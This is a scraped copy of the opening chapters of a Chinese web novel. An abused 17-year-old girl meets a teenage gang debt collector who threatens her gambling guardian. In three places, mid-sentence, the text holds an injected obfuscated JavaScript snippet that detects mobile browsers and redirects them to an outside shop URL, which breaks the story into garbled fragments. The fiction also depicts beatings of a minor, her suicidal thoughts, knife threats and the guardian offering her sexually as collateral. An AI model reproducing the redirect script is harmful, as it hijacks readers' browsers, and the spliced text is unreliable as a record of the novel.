《春日妄想计划》 1. 第 1 章 《春日妄想计划》 晋江文学城/黑花姥姥2024.4.16 一声惊雷过后,绵绵春雨来临。 枝头又现嫩芽,山茶又扰遗梦。 和风徐徐吹来想要带走失意之人的寂寥,林中鸟雀叽叽喳喳开始觅食…… 初春的一切都有迹可循,唯独李空山闯入连翘的生活那么意外、毫无征兆,成为她这一生最猝不及防的风景。 —— 天蒙蒙亮,李空山带着人堵在田永贵家门口。 他身后站着的黑衣年轻小伙子个个手里抄着家伙,不是钢棍就是实心砖头,样子嚣张不已,随了李空山。 道路被他们围得水泄不通,卖菜的街坊刚一出门,就被田永贵门口这阵势吓得差点从楼梯上摔下来。 正所谓看热闹者十有八九引火上身,邻居撒腿就跑,两手盖着菜篮子,目光聚焦在地,假装自己什么都没看到。 “哎——你给我站住。” 李空山注意到这个人,轻蔑地上下打量几眼,右手握住的钢管指着他后又放下,拽拽地朝他走近。 “你——住这儿?” 十七岁的少年眉眼清隽,但眼眸里透露着的那股狂妄和不屑却让他与在教室里读书的学生大相径庭。 他身上捕捉不到任何一点儿乖孩子的痕迹。 在清流镇,没人不知道李空山这号人物,卖菜的邻居也不例外——一个没爸疼、没妈养,正经事儿不做,整天浪迹在街头,帮人收债收保护费的二流子混混,因为打架去派出所蹲过的次数甚至比他自己活这么些年吃过的饭还多。 邻居知道李空山不是好惹的货色,低下头回话,眼神回避李空山。 “是……我住这儿。” 李空山看看眼前这栋又老又旧的两层楼房,又看看面前低垂着脑袋的男人,叫嚣道:“不是,我长得有这么吓人吗,你一直低着头不敢看我。把头抬起来,看着我眼睛说话!” 邻居瞟了李空山一眼,吓得又垂下目光。 “喂!你——” 不服气的李空山感受到老人对自己的藐视,想强行将老人头抬起来。 见此状况,宇瑞连忙赶过来阻止,按下李空山拿着钢管的手。 “哥,算了算了,咱不跟他一般见识,你别忘了咱们今天来主要是为了让田永贵那家伙还钱,要惹出其他乱子就不好了,邱炀哥交代过我,让我好生看着你,毕竟你才从派出所出来不到三天,三天!” 宇瑞特地咬重最后“三天”两个字。 “行了行了,我知道。” 李空山不耐烦地摆摆手。 他像小孩儿似儿的瞪了卖菜邻居一眼,又傲慢地把手放下,偏头凑到宇瑞耳边小声说话。 “我是什么人你不知道吗,难道我还真的会对他动手?他都一把年纪了,我刚刚就是吓吓他。” 宇瑞回他:“那就最好。” 李空山收回身子,左手握着拿钢管的右手手腕,背在身后,认真端详眼前的卖菜大爷,态度比刚才要好许多。 “那什么,我问你啊,田永贵还住这儿没走吧?” “没走。” 邻居对李空山态度的转变有些诧然,毕竟在众人眼里,他可从不会这样。 他们眼中的李空山是一个无法无天,只会仗势欺人的地痞混混,人见人厌。 卖菜邻居看了眼李空山带来的那些人,问道:“你们来找田永贵做什么?” “这你就管不着了。” 李空山有模有样地说教起来,仿佛自己是个大人物。 “你赶紧卖你的菜去,这没你啥事,要不走快点,等会血溅到你身上我可管不着啊。” 邻居顿时脸都黑了,不带一点儿犹豫,他拔腿就跑,心里默念道:“连翘啊,爷帮不着你了,你只能自求多福啊……” —— 田永贵今天一大早就莫名心慌,还未天亮,他就忽然惊醒。 左思右想,并未察觉到有什么事不对劲,于是醒来以后,他的第一件事便是到桌子上数自己的“老窖”。 一、二、三、四……还剩九百。 田永贵窃喜,还好还好,还有剩,他可以带着这最后的九百再去牌桌上证明自己——他就不信已经连续输了一个星期的他翻不了身! 看着田永贵拿着钱坐在桌子前傻笑,连翘悄无声息走到他身后,“你又要去赌?” 她的眼里有无奈,亦有厌恶。 听到声音的田永贵连忙把钱藏到裤兜里,大摇大摆站起来,若无其事,以长辈的姿态训斥。 “难道我没教过你不要随随便便偷听偷看吗?十七岁的人了,走路也没声音,生害怕吓不死我是吧!” “我告诉你啊,别打我钱的主意,这些钱是我翻身的机会,别想着让我拿这笔钱给你交学费,没钱!” 田永贵跨过矮板凳走进厨房,肚子饿得咕咕叫的他迫不及待想吃东西,刚揭开锅,满脸期待的他顿时沉下脸,怒目圆睁,大声怒吼。 “连翘!早饭呢!” “你奶奶的,我养你这么大,现在脸给我煮早饭都忘记了是吧,看我怎么教训你!” “天还没亮,你以前都是睡到中午才起。” 她随便解释一句,并不期待田永贵会因为这个原因放过她,这么多年,田永贵从没少过她任何一顿打。 她知道的,该来的全都回来。 她只是把她该说的说出来。 怒气正旺的田永贵只当连翘在嘲讽他,顺势拿起垃圾桶旁边的一根木条朝连翘打去。 女孩没有躲闪,身子纤瘦的她在虎背熊腰的田永贵面前显得那么柔弱不堪。 可是荆条打在她的身上,她却没有喊一声“疼”,没有朝田永贵说一声求饶。 她直勾勾盯着正前方,旁人只能从她眼中读出置若罔闻的无谓,却读不出隐藏在不动声色下更隐秘的内心。 前几天被田永贵打过,手臂上、小腿上的伤口还没愈合,田永贵又这么一打,那些沉默的伤口忽然爆发,鲜血一经渗出就一泻而下,直到染红连翘杏色的上衣和褐色的棉麻裤子。 不知气喘吁吁的田永贵是打得有些累了,还是他被眼前的一片红吓得有些后怕。 他收回手,在凳子上坐下,一边喘气,自顾自地发泄痛骂。 “我tm当初真是脑袋进水才把你买回来,真是个白眼狼!累赘!这么些年吃我的用我的,我啥好处都没捞着!你怎么不去死!” 好一个怎么还不去死。 连翘不经意间扬起嘴角,她想,是啊,怎么她还不去死呢?可是死会很痛的啊,从二楼跳下去顶多摔个骨折,死不了,跳进河里,可她恐惧窒息的感受,如果去买毒药,她没钱。 她连被打的痛都不怕,唯独害怕死的痛。 或者说——她害怕绝望。 死了就代表什么都没有,而活着还意味着有一点点希望。 哪怕这份希望很渺茫,她也要试一试,过去的十七年她一直靠内心幻想的希望而活,现在也是。 连翘面无表情走进厨房,“我这就给你去做早饭。” 田永贵不屑地往二手沙发上一躺,正打算睡个回笼觉的他却突然听到外面传来窸窸窣窣的脚步声。 不对劲。 太不对劲了。 要是隔壁那老家伙出去卖菜,动静也不至于这么大,难道还有其他的人? 刚闭上眼的田永贵瞬间警觉,他从沙发上跳下来,鬼鬼祟祟跑到大门后面,贴着耳朵听门外的动静。 “嘭——” 门被人从外面用脚踢开,田永贵被撞到地面,双手反撑在地,满脸囧样。 他咽了下口水,顿感不妙,即将有大事发生的感觉令他内心慌张不已,“你们、你们谁啊,跑到我家来干什么!” 李空山把钢管儿随意搭在肩上,微眯着眼打量地上的田永贵,模样轻蔑,仿佛这世界上的一切都被他看不起。 他走到田永贵面前停下,钢管指着田永贵的脑门,左手叉腰,微偏着脑袋,一边端详屋内的状况,一边问话,“你,田永贵?” “你谁啊!” 作为一个常年泡在赌场里的赌鬼,田永贵对外面的事知之甚少。 他就算听过李空山这号人物,也未见过真人,更未想到黑武帮里的二把手居然是个如此年轻的少年。 田永贵受不了被人欺压,随手把李空山对着自己的钢管儿推到一边,骂骂咧咧。 刚想要站起来,又被李空山一脚踩下去。 “痛痛痛痛痛!” 田永贵怎么也想不到这个看着高高瘦瘦的年轻小伙儿居然力气这么大,肩上吃痛令他皱紧眉头,恨不得赶紧从这里离开。 李空山用钢管抵住田永贵的额头,弯下腰,轻蔑一笑,慢条斯理中透露着令人难以想象的邪魅。 只有他身后站着的那帮兄弟才知道他这样的表情究竟预示着多么恐怖的后续。 “田永贵,想走啊?” 他冲着田永贵一笑,右脚踩在他的膝盖上,空着的左手拍拍他的肩膀。 “还真是太遗憾了,今天我在,你怎么都走不了。” “你、你们到底来干什么的!” 田永贵虽预感到这帮人不简单,但是他这人就爱逞面子功夫,大难临头也要嘴硬。 “当然让你还钱啊。” 李空山拎起田永贵的衣领,迫使他与自己对视。 “孟年华认识吧,你欠了他钱?正好,他欠我们的钱还不上了,让你用欠他的钱来还上,赶紧的,把钱拿出来。六十万,一分不能少!” “我、我还?这钱是他欠你们的,跟我有、有啥关系,你们要找还钱的找孟年华去,找我干什么。” 李空山忍不住“啧”了一声,回头看向身后的宇瑞,“把借条拿来。” “好嘞。” 宇瑞立即乐呵呵地从兜里掏出借条给李空山奉上,“哥,在这儿。” 李空山接过借条,展示在田永贵眼前,“看清楚了,白纸黑字写得清清楚楚,还想赖账不成?” “不敢不敢。” 田永贵尴尬地笑了笑,挤眉弄眼打量周围。 当他看清孟年华与黑武帮借条上格外显眼的“黑”字时,他顿时明白,自己这次难以侥幸逃脱了。 黑武帮……可不是他能惹得起的。 可是眼下他根本没钱,东凑西凑他也只拿得出九百块,他怎么可能还得上当初欠下孟年华的六十万。 听闻外面动静,连翘洗洗手从厨房里走出来。 她系着一条灰色格子围裙,头发简单扎起来披在背后,额头两侧的碎发微微垂下,衬得她的清冷和沉静更加动人。 院子里全是陌生的黑衣小伙,田永贵被人踩在脚下,站在她面前的是她听闻过却从当面正眼对视过的李空山。 那副场景连翘从未想过,也未曾见过—— 原来,一直殴打她、辱骂她的田永贵在这个世界上并非无敌,无人可压制。 原来,这个世界上有人可以把他踩在脚下,替她把她曾经受过的所有委屈、愤恨、厌恶踩在脚下践踏。 这算不算是替她出了口恶气呢? 即便她很清楚,出这口气的人并不是为了她。 对于连翘来说,那一天的她并不能分清李空山的出现意味着什么,只是有一件事她很清楚,李空山于她而言,是向她招手的另一个世界。 “哟,金屋藏娇啊,屋里还有人呢。” 李空山的话率先打破连翘走出来后院子的安静。 他松开了脚,吊儿郎当站在原地,右手无处安放的钢管儿被用来挠挠耳朵。 无所适从的他微微向后退了一步,低下头盯田永贵的同时,目光有意无意打量着连翘。 女孩天生有着一张好看的脸,目光里有着旁人无法模仿的沉静和岁月静好,只是看上去怪瘦的。 李空山想,肯定是田永贵平时没有让她吃好。 在连翘目光与李空山相撞的那一刹那,李空山稍微慌了神。 他避开目光,前一秒的心跳频率令他在往后的岁月中始终无法忘怀,多年后回想仍觉悸动。 只是那天比女孩容颜和目光更令人难以忘怀的,是她裤脚上那摊能灼伤李空山目光的血迹。 站在后边的宇瑞用手肘轻轻撞了撞身旁的人,目光直视前方,“哎,你说咱哥是不是有点不对劲。” “何止是有点。” 身旁的人回答宇瑞,“这可太不对劲了。咱什么时候见过哥这样不知所措过?” “有道理。”突然意识到什么,宇瑞惊叹地看向身旁:“你小子可以啊,居然会用四字词语了。” 脸蛋肉乎乎的男孩羞涩地摸了下后脑勺,“都是咱哥叮嘱的,空山哥说了,人穷但志不能穷,咱们虽然干这一行,被街坊邻居讨厌,但是咱一样可以读书识字,争取以后有更大的出息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165859|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 宇瑞点点头,思绪还在门口站着的瘦削女孩身上。 他想,等到田永贵的事儿解决以后,一定要好好问问李空山是不是看上了这家姑娘。要真是的话,他就从中好生撮合。 李空山重新把钢管举到肩头,重新变回破门而入时那副吊儿郎当的模样,招呼着站在一旁的连翘。 语调如他这个人从内而外透露出的气场一般——张扬、嚣张。 “你?干什么的,赶紧一边去,别在这儿杵着碍事,真烦。” 他特地咬重最后两个字,目光随即回到小心翼翼弯腰站起的田永贵身上,“还愣着干什么,钱呢!赶紧把钱拿出来啊!” 几乎吼着说出的这句话把田永贵震慑得都往后退了一步,他别过脑袋,连翘却站在远处一动不动,目光还是那样平和,没有波澜。 换做以前,连翘会把李空山和绝大多数低劣、庸俗、不堪的人归为一类,但现在却有些不同。 当她把李空山确定为自己为实现某个目标而必须采取的身段时,李空山越令人讨厌,他便越能吸引连翘的目光。 见田永贵犹犹豫豫依然不为所动,李空山摊开右手举起,喊着身后宇瑞的名字,“我刀子呢,宇瑞,给我拿过来!” “好!” 听到命令的宇瑞立即从背着的小黑包里拿出一把锋利小刀,递到李空山手里。 只见李空山朝田永贵扬起一抹笑,左手指腹摩挲刀刃,紧盯着手中这把捅过不少活生生动物的刀。 “我李空山这个人你可能不了解,但是我手里这把刀特别了解我,每次我心情不好,它就会出现在我手里,配合我把那些让我见了就烦的人好好收拾一顿。” 他抬眸注视着田永贵。 “对了,上次动手流的血还没干呢,不信你看。” 刀子随即被李空山递到田永贵眼前,李空山假意往前一挥,田永贵吓得连连往后退。 连翘只字未言,站到一旁给他让路。 “什么破胆儿啊。” 李空山心情不佳,这田永贵太不禁吓了,一点儿意思都没有。 他摆出不耐烦的表情,右手握刀指着田永贵补补逼近,急性子的老毛病又犯了。 “给我麻利点姓田的,赶紧把钱拿出来!不然我让这刀子今天再沾上你的血你信不信!” 田永贵两手握在一起,手心里全是汗,轻轻冲着李空山笑。 “小兄弟,不是我不还钱,我是真没钱啊,我没钱还你们,你们又能怎样?还不如这样,你们再多宽限几天,等我凑到了钱,我一定立刻、马上还给黑武帮!” “你觉得我信?” 李空山对田永贵的耐心越来越接近零,“别以为我不知道,你天天跑赌场,身上没几个臭钱?你当我傻子呢!” 李空山别过脑袋往身后看了一眼,宇瑞等人领会到他的意思,立即上前,亮出手里的家伙把田永贵包围起来。 其中两人上前分别擒住田永贵的胳膊,强迫他半跪在地上。 李空山走到田永贵身前,屈膝蹲下,刀子在他眼前晃了又晃。 耀眼的太阳照射到刀面,反射出刺眼的白光。 田永贵别过头,挪开目光。 “田永贵,你真以为我们吃素的,真不敢拿你怎样啊?我告诉你——” 李空山用刀面抬起田永贵的下巴,“黑武帮这么多年的名声不是白打出来的,你今天要是不把钱拿出来,我就让你的血流满清流河!” 从未如此近距离感受刀刃的薄凉,此刻的田永贵是真的害怕了,他两腿开始忍不住哆嗦,生害怕李空山一个手误就把他下巴砍掉。 “错了,错了,我真的错了,小兄弟,你别冲动,钱我会还的,一定还!” 李空山不耐烦盯着他:“什么时候。” 田永贵眼珠子在眼眶里转来转去,走投无路的时候,人的脑海里总会一一划过当下所拥有的一切,于是,田永贵想到了家里的“白眼狼”。 “连翘!你给我过来!” 田永贵笑着看向李空山,“小兄弟,要不这样吧,我把我家里的人抵押在你那里,你给我时间,我现在、立刻、马上就去筹钱!” “抵押?” 李空山的目光情不自禁落在被冷落在一旁许久的连翘身上,他拿开抵住田永贵下巴的刀子,上下晃动指着连翘所站的方向。 “她啊?” 只见李空山连忙摇头,摆出嫌弃的神情。 “不行,她太普通了,我看不上,瘦不拉几的,该有肉的地方一点肉都没有,送我我都不稀罕。” “哪里的话!” 田永贵赌连翘也许是个出路,凑到李空山耳边低声呢喃,声音小到只有他们两人才能听到:“小兄弟,你别看表面,等脱了衣服,你会发现其实有料得很!” “姓田的!” 李空山突然反应很激动,左手一把拎起田永贵的衣领,愤怒跃然出现在他脸上。 没人知道他在为什么而生气。 田永贵猜李空山肯定是觉得这样说太直接有碍他的体面,于是连忙改口。 “错了,小兄弟,我刚才是开玩笑的,我的意思是,只要好好养一养,想要什么样就能有什么样。” 宇瑞被李空山右手距离田永贵胸膛仅有一件衣裳的距离吓到了,赶紧上前拦住李空山,试探性地把他右手放下,和声和气说。 “哥,别生气,别生气嘛,有话好好说,毕竟这姓田的不是要还钱了吗,咱也没必要还跟他动真格。” 李空山看了一眼站在一旁的连翘,目光回到正前方,愤怒地把刀放下。 田永贵感觉自己这一招有希望,抬头看着李空山,嘴角挂笑。 “怎么样哇,小兄弟?” 李空山恶狠狠地盯着田永贵,“做梦!” 他重新看向连翘,冷不丁笑了下。 “谁知道她有没有偷过人。退一万步说——” 李空山用手指着脚下踩的这块地。 “她是你家的,旧衣服,旧裤子,穿得跟个爷们一样,要身材没身材,要长相没长相,在我李空山眼里,啥都不是,走在路上我一眼都瞧不上,老子眼瞎了看上她?” 李空山又笑了笑,随意瞧了连翘一眼,慢条斯理对田永贵说:“我还不至于瞎了眼瞧上这种货色。” 田永贵变得有些惆怅、不知所措,既然李空山对连翘不感兴趣。 那他该怎么办? 2. 第 2 章 一急之下,田永贵顾不上别的,转过身去给垂下目光的连翘使眼色:“死丫头,你还愣着干什么!还不快赶紧过来,求求情,让这位小兄弟再多宽限我几天!” 连翘没有回话,只是若有所思过后才提脚朝李空山走去。 在旁观看的宇瑞总觉心有不安,刚刚李空山那样埋汰、数落、贬低这个女孩子,换做正常人,想必都会生气的吧? 这个又瘦又单薄的女孩应该不会对李空山做什么吧? 宇瑞想——这个女孩虽然看起来脸上满是灰尘,黑不溜秋的,衣服也脏兮兮的,但是总给人一种沉静之感,若是把脸擦干净,换身好看的衣裳,这张脸定然不逊色于他们见过的所有女生。 李空山轻蔑地打量朝她走来的女孩,他打心眼里瞧不上连翘这种普普通通的女孩。 但令所有人都意料不到的一件事发生了。 连翘没有表现出任何生气的迹象,也没有不吐不快去反驳李空山刚才对她的一切评价,相反,她拉住李空山的衣角,抬眸对上李空山那双冰凉的眼眸,“我想跟你走,可以用我来抵债吗?” ——我想跟你走 ——可以用我来抵债吗 并不长的两句话,并不复杂的十三个字,却让李空山愣了半天才反应过来。 他微微眯眼,想了想,招手唤来一旁的宇瑞,“她什么意思?” “别慌,我翻译一下。”宇瑞扳扳手指,算了算,若有所思道:“我想,她的意思应该是——她想让你宽限几天,再给田永贵一些日子。” 田永贵忍不住在心里噗嗤一笑——这两个人看起来都不太聪明的样子。 “是这意思吧?”宇瑞并不确定,看向连翘。 女孩没有回话,或者说,她的目光从未从李空山身上离开过。她拉住李空山的手还未放开,目不转睛盯着他:“我可以跟你走吗?” 不知为何,有那么一刹那,李空山仿佛在连翘的眼里看到了一种祈求和渴望。她所渴望的与田永贵欠债无关,只关于她自己,关于她身后的浩瀚黑暗。 “放开——” 李空山稍稍用力,就从连翘手里挣脱出衣角,他指着连翘落空的手,“我警告你啊,别对我动手动脚!” 他往后退了一步,势必要与连翘保持距离,回到刚才那副吊儿郎当的样子,轻蔑一笑,“最后提醒你一次,老子眼睛不瞎。老子脑壳有包才带你走。” 说完这些话的李空山变得更加不耐烦了,他想今天还真是倒霉,一口气遇见两个无赖。单手叉腰的他晃了晃右手拿着的刀,对一旁的宇瑞说:“我有点渴了,出去买瓶水,你带着兄弟好好看紧他们,不还钱,哪儿都不许去。” “明白!” 宇瑞信誓旦旦点头,向李空山保证一定完成任务。 连翘的目光追随着李空山,不知在想什么,仿佛是在思索一件非常重大的事,一眨眼,宇瑞横空出现,身躯挡住她的视线:“还看呐,人都已经走远了!” 宇瑞看看田永贵,又看看连翘,语重心长数落:“我说你俩还真不愧是一家人,死缠烂打,居然打起我哥的注意了是吧。我告诉你们,没门——我哥是什么人,他会随随便便领个人进家门?想都别想!” 连翘的平静和不喜不怒让宇瑞总觉得稀奇,走来走去的他突然停在连翘面前,“我说你不会真喜欢上我空山哥了吧?” 话一出,宇瑞兜里的手机突然响起铃声。 是邱炀打来的。 —— 沿着田永贵家外面的小路一直往前走有一家开在路边的小卖部,李空山从兜里掏出两块钱递给小卖部老板,“拿一瓶矿泉水。” 在等小卖部老板去货架上拿水的时间里,李空山靠在陈列烟盒的透明货架上,吊儿郎当把弄着从兜里掏出快要用尽的打火机,正打算催促老板快点时,他兜里的电话随之响起。 烟雾缭绕间,他吐出嘴里没点燃的烟,不耐烦地接通电话,好似对面来电的人并不让他有所期待:“啥事,没事我挂了。” “急什么。”邱炀一边整理货架上的货物,一边问李空山,“我听宇瑞说你今天去一个叫田永贵的人的家里讨债去了?” “你的水。”小卖部老板把矿泉水递给李空山,李空山接过来,一边往回走,一边不耐烦地回答:“是又怎么了。宇瑞那小子是喇叭变的吗,啥事都给你通风报信,他怎么不把我几点吃的饭几点上的厕所也告诉你啊。” 电话那头,邱炀一直保持着和气,“空山,你别多想,是我刚好打电话过去问你的情况,宇瑞才告诉我这件事。言归正传,姓田的要塞人给你?真有这事?” “这都哪儿跟哪儿。”李空山扭开瓶盖给自己灌了一口水,快要冒烟的嗓子总算得到缓解,“姓田的安的什么心你不是不知道,他就是想搪塞我,好让他拖些日子还钱。再说了,他要给我塞人就不能好好选选吗,找个那种货色的,平平无奇,丑不拉几,干瘪瘪的,走在大街上我一眼都瞧不上,老子眼瞎了才答应他。” “这么肯定?” “不然呢。” 电话那头的邱炀笑了笑,“可是我听宇瑞说,这姑娘要是好好收拾打扮一下,完全不逊色于以前凑你跟前的所有女孩,真一点不想要?” “不想要!”李空山偏头用肩膀和脸夹住手机,两只手去拧瓶盖,毅然决绝,“邱炀,你给我好好听着,老子要是想要她,老子就是狗。就算把人送到我床上我也看不起,你说我可能稀罕?” 邱炀此次给李空山打电话的真正目的并不在此,他走出仓库,站在门前台阶上,眼前是停满货车的库房,来往运货的人络绎不绝。 “对了,空山,奶奶上次跟你提的事情,你考虑得怎么样?趁我现在还没调走,我正好可以照应你一段时间。” “不去。”李空山就知道邱炀叨叨叨的又提起这件事,他的态度依然和刚才一样坚决,“我告诉你啊邱炀,别再跟我做什么思想工作,我不吃这套,我李空山在这儿混得好好的,我干嘛要走,好了,没啥事不说了。” 李空山当即拿下电话挂断,想也不想就大摇大摆往田永贵家里走去,嘴里还不忘数落一声邱炀:“一天天的跟个娘们似儿的,婆婆妈妈。” “坏了——不好了,哥!你快去看看!” 李空山刚迈入门槛,满脸骇然的宇瑞就慌慌张张跑来,他指着屋里:“哥,田永贵要打人,再不去阻止,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李空山可以想象被掐住脖子的人随时会有生命危险。 他仰头看了眼湛蓝的天空——那么干净,那么纯澈,不染一丝尘埃。 “算了。” 李空山叹了一口气,轻描淡写抄起地上的砖头就朝里走进去。这一刻,他的眼里满是愤恨——属于他的,没有面具遮挡的底色。 “嘭——” 李空山拽住田永贵的后衣领把他往后拉,顺势一脚将他踢开,被按在桌子上的连翘得以找到机会躲开。 她的头发变得凌乱不少,手臂上红肿了一块又一块,躲在李空山身后愤慨又沉默地紧盯田永贵。 “姓田的你tm长本事了是吧,我还在这儿呢你就敢动手,tm还真是一点不把我李空山放在眼里啊!” 李空山走上前去抓住田永贵衣领,将他拎起。 站在后方的连翘上下打量李空山这个人——看着高高瘦瘦的,身上的劲儿还真不小,轻而易举就把田永贵给踢开,难道这就是黑武帮的训练风格,爱打人,能动手绝不动口? 不过,他整个人都很张狂,超乎寻常少年的张扬和轻狂。 3. 第 3 章 李空山今天算是当了一次甩手掌柜。 闹剧结束以后,他把这里的事全丢给宇瑞,“你带人看着姓田的,明天这个时候,必须让他把钱拿出来,不然我明天就来把他手砍了!” 他是故意说出来吓田永贵的。 此刻,田永贵蜷缩在角落里,一把鼻涕一把泪,模样凄惨得很——这一切都归功于李空山。 为了教训田永贵打女孩,李空山把守在外面的兄弟全叫进来,挨个揍田永贵一顿,他也没想到兄弟们今天个个都很有劲儿,田永贵被揍得牙齿都掉了一颗。 临走前,李空山瞄了眼站在门口的连翘,她身上的衣服脏兮兮的,看上去仿佛还没从刚才的惊吓中缓过来。 他“切”了一声,冷讽道:“就这么爱管闲事?” 随后他便头也不回地两手插兜,大摇大摆走了出去。 当然,这句“爱管闲事”是他对自己说的。 待李空山走后,一直低着头的连翘终于抬起脑袋,她的目光追随着远去的李空山,此刻,一种惊喜涌上她的心头——她的验证成功了。 李空山和田永贵不是一类人,就算他装得再怎么嚣张像个无赖,他始终无法毫无破绽地掩盖他心底那一片柔软。 连翘敢打赌,李空山一定会成为她未来逃出这座小镇的突破口。 一直困在深渊里的人终于抬头看见了希望。 她身上被田永贵殴打过的地方传来的疼痛已经麻木到令她无法感觉。 因为喜悦已经取代了所有的感知。 “去哪儿?” 守在门口的宇瑞见连翘从里走了出来,立即站起问话,为了完美继承李空山的轻蔑,他特地端起手臂,抬起下巴。 “他让你看着田永贵,没让你看着我,欠钱的是田永贵,限制自由的也是他,跟我没什么太大的关系,不是吗?” 连翘表现得从容和沉着,若不是亲眼看到过田永贵挥起凳子打她,宇瑞难以把此刻的她和刚才陷于危难中的她联系起来。 宇瑞迟疑了下,拉长声音,依旧仰起下巴,“我觉得你说的一点都没道理,反正现在田永贵是特别人物,跟他有关联的我都得好生盯着。” 连翘没有为此着急不安,反倒是轻轻扬起嘴角,往前站了些,对宇瑞说:“想不想和我合作?” 她解释:“你的目的我看出来了——想拉拢李空山套近乎,但一直没摸着门道,我的目的和你一样,我也要依附李空山达成我的目的,这么说来我们就是一路人,怎么样,考不考虑一下?” “你?” 宇瑞对此嗤之以鼻,不屑地从上到下打量连翘,不相信连翘有这个本事和实力。 “我说,你刚才没听见我哥怎么说的吗?人家压根看不上你,你就别想白日做梦,攀附上我空山哥了。” 连翘从容而亲和,“还没开始做的事情,你怎么就敢肯定一点可能都没有?再说了——”连翘走到宇瑞身侧,声音放低,“你刚刚也看到了,他从田永贵手下把我救出来,并非无动于衷,不是吗?” “少来。” 宇瑞不以为意,“我哥那是看不下去才出手的,要是换做其他人,他也一样有可能帮个忙。” 连翘想,这宇瑞就是一根筋,合作效益大于单独行动这样简单道理都想不明白。 她盯着眼前的宇瑞,“你就直说,合不合作?” 宇瑞高傲地端起手臂,“我得好好考虑,除非你真的入了空山哥的眼,我再考虑跟你合作。” “行。”连翘斩钉截铁,“那你现在就放我走。” 宇瑞想起李空山临走时的嘱咐,故作凶巴巴的样子问道:“去哪儿?” 连翘轻悠一笑,望着李空山离开的那条路,“做个小实验。” —— 自打离开田永贵屋子以后,李空山就倍感心情愉悦,他一路哼着小曲儿,左手放在裤兜里,右手有节奏地晃悠,快活似神仙。 果然,眼不见心为净。 看不到田永贵和他屋里那个厚脸皮的小妮子,李空山整个人都活过来了。 他住在镇上桥西边临近边界的一处老楼房里,楼房共三栋围在一起,南面是扇大门。 刚走到门口,李空山就看见二栋楼的小男孩在门口自己玩耍,他路过时不忘吹嘘一句:“哟,二狗,又在这儿玩泥巴,当心摔得满身泥,你妈妈又打你屁股。” 小男孩对李空山给自己取的外号格外不满,撅起肉嘟嘟的小嘴瞪着李空山:“大坏蛋,我叫尔枸,不叫二狗,不准乱喊我的名字!” 李空山“啧”了一声,笑着跨过门槛走进去,并不打算继续搭理小男孩,只是笑着打趣道:“尔枸,二狗,那不都一样呢吗。” 小男孩冲李空山的背影摆鬼脸,继续气呼呼地蹲下来玩泥巴。 徐尔枸今年五岁,对于他带有歧义的名字,他曾经问过他的妈妈很多次为什么要给他取这个名字。 他的妈妈反倒不以为意,回答得轻松又自在:“这名字听着多喜庆,能给人带来欢乐,那也是一种本事。” 男孩越想越觉得委屈,索性不玩泥巴了,用捡来的树杈在泥巴上刻字,他只会写简单的汉字,恰好这老楼房上上下下,属李空山的名字最简单。 学写字的时候,他最先学会写李空山的名字。 于是,泥巴上出现歪歪扭扭的几个大字——李空山,后面附带一个猪头的简笔画。 徐尔枸看着这几个字乐呵呵笑了,捂着肚子停不下来,刚才被李空山打趣的不悦总算得到宣泄。 正当小男孩乐得捂住肚子笑开怀时,一个陌生的女孩走到他跟前。 这个女孩他从未见过——但徐尔枸却莫名觉得她亲切,比那大坏蛋李空山不知道亲切多少倍。 她的乌黑长发被简单扎在背后,穿着一身简单宽大的棉麻衣裳,裤脚有血迹,衣裳有灰尘,就像被按到地上过一样,褶皱未平。 一双杏眼柔和又好看,脸蛋又小又瘦,跟她瘦削的身子骨一样。 徐尔枸顿了顿,一向在陌生人面前保持害羞的他今天反常地主动和别人说话:“姐姐,你找人吗?” 连翘还未回答,就率先注意到出自徐尔枸的“杰作”,她蹲了下来,用干净的手摸摸小男孩的头,“小弟弟,你可以告诉我李空山住在哪栋楼哪一楼吗?” 小男孩“啊”了一声,表情既意外又丧气,“原来你是来找那臭无赖的啊。” 徐尔枸委屈巴巴,“李坏蛋就那么受女孩子欢迎吗,明明我比他可爱多了!” 连翘笑了下,“当然你更可爱。” 徐尔枸指了下右侧第三栋楼,“诺,姐姐,三楼右边那个门,李坏蛋就住那儿。” “好,谢谢你啊。” 连翘起身走了进去,徐尔枸跟着跑到院子的大门外,偷偷摸摸地观察连翘到底要看什么。 她当然注意到小男孩这个举动——如此明显,想不注意到都很难。 但连翘并没放在心上,也没直接上楼去敲门,而是站在院子正中央,一言不发地等待着。 躲在大门后的徐尔枸发出感叹,“这个姐姐好奇怪哦……” 临近晌午,在外干活、卖东西的人开始陆陆续续回来,每个回来的人目光都打量着院子里孑然一身站着的连翘——一个陌生的女娃娃,但看年纪,多半跟那混蛋李空山脱不了干系。 毕竟除了李空山,这院子里再没有其他年轻人,因为便宜的房租,住在这里的都是带着孩子的中年妇女、男人亦或是留守在家的老人。 一个出来晾衣服的妇女招呼了声在井边打水的老妇,“哎,大姐,你看那女娃娃什么来头啊,找谁的你知道不?” 打水的老妇看了一眼,“不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165861|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 